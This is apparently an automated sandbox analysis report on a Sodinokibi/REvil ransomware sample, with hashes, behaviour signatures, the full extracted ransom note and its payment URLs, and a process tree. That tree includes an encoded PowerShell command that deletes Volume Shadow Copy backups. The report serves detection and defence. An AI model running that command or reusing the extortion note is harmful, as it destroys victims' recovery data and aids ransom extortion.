Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240508-en
  • resource tags

    arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    15/06/2024, 11:58

General

  • Target
    ffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195.exe
  • Size 115KB
  • Sample240615-n5gjqstdmp
  • SHA256 ffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Path
  • C:\Users\of009-readme.txt

  • sodinokibi

Ransom Note
  • ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension of009. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). We have copied financial files and other important information about personal data, it will be published on the Internet or will be used against you if you do not pay us, so if you do not want such consequences as customer churn, media coverage, fines like GDRP and other damages, we recommend you to contact us and pay the ransom. [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F8E70BCCD1AA0F03 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/F8E70BCCD1AA0F03 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: mUyn9QWesrJqME1P7JDRLSkW1aje/wl0hUTVWpxwVoW9FmsbB/x1/3nu2QbV/IVv pZLCXU8cay31asnnygjhuBpACnx+VNKpsWS127qFwRCAx5X/Opp4d4HFVhLuKEXc hwgsACt3jyZrQa5rgCR3OThRNnMFXOIhuISJ+JPpC5vAmqfznNDglr9ORTN9S6de EvE/SKsJ/jdHf6X0mH+BaNs1p4HCdpUEkiuYRBrzXIcy1nbadnixnF6psungPd6S yJPnsL1iqwfL8/ENAGDLNtFmmjZdp6TeaQ81j2WEUO4gzt+rt59giaym6KkEU3SW UBeNSo7/CeKkCMvgFkhY2bwmHGY4e5vf68+cQAlNJnGdq21tSFCCrWg3bbmMXKtU Kx7s9Uy2xiWGAykr/OqSjHYECtd7zxrLjXRL0IC6w3Jzn6JACx2thP+3mYdvojm/ rubA05I0heVuMJql9mQoGPz7QjZcvMbgKjiamo4QajiRdvYmUI8s3SWuhoH0Himq 13a4W7kFlD23Vf11aP2+7QzqJudcdP3hjzuS1h3uwWM7S/yCdpxeDxzGkfTZA/me 4BuyMjcdj0LbXDQURVZySLTQDpHo4gU0JnrNMSNE1ZhEfGHTjeFWeR5u2+6STbzz rsvwWA8wJpd56qw0KmQBSFdRkAV59X7Q1Qkeu6L8X6i9Es9PLpH9sWUqakPyZatb s6+4V7Oet1tM8chTtVXxH30aQVy55UnFoyRnrdQToHFoApGa7b8z4Goh7k0/XYNP v0YOtAu+7L7ZBRHA9Dwi45L9zEHouucL2RIrm2dVwq2s5iPHz3ezJ7JwoY00W22D HAUDoe25VdeLUU7nVBCxpzX3RRU8RNvNAPY+V8MeBjzSABaEuAHW0nlAKt8UXGzL HyK76MYyID1pqzVaDufFvwuMI/ta8ntZjUfFYzeZKAaEXbBJ78r/OHqfCXiHesR+ 50mwbzuhAcmOcTMwp9hj9XVCyBACYsvheNRX+/JanQ11ucCTBWvj/Aao6/DWWzI0 784DpZ+pnb524+CWxYB8i+MAJhU0r206h06LXMTyKiQ1+dOHq1WweNfxeK+oklWQ cN2jTimKM7Y4b7kTOAo657C24zC/sIiOfatrbxJK/OgGIKJ8EIjtUM460lreBvb2 QP522bwlETa4AHX8Uf+TjmexprujkLmrJplwnIgYAcy0K+rcsWnpWRAbYNsx8Kyc 1cRn6n9gMrj8JoGQ/+NWb2h+W938+bzB8z4CXs1lL3mTg1eQZaibo24oAyr0wmNF mYX+fQZMKf/e6XuaPfl4/UTuTXhegDRXwDGrSiQ5yY79d/+UOdGk524QjYlaHXwi /7veBaVG7ZsbdEBFfXoYaBbhzi6a0zDpAl1JuuQyeUIB4F/V ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
  • http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/F8E70BCCD1AA0F03

  • http://decryptor.cc/F8E70BCCD1AA0F03

Signatures

  • Sodin,Sodinokibi,REvil

    Ransomware with advanced anti-analysis and privilege escalation functionality.

  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Program Files directory 30 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\ffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195.exe
    "C:\Users\Admin\AppData\Local\Temp\ffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195.exe"
    1⤵
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4748
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:4872
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1516

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          __PSScriptPolicyTest_m5rujzgl.1jt.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5rujzgl.1jt.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          of009-readme.txt

          • Path C:\Users\of009-readme.txt
          • Size 7KB
          • SHA256 c7a8f0ed6b16762120ef4df4d0b396d0cbc2ff4dfd50a4771c3d8162c6815bd9
          • MD5 SHA1 SHA512 SSDEEP

          memory/4748-0-0x00007FFF96EB3000-0x00007FFF96EB5000-memory.dmp

          memory/4748-9-0x000001FBEE140000-0x000001FBEE162000-memory.dmp

          memory/4748-10-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

          memory/4748-11-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

          memory/4748-12-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp

          memory/4748-15-0x00007FFF96EB0000-0x00007FFF97972000-memory.dmp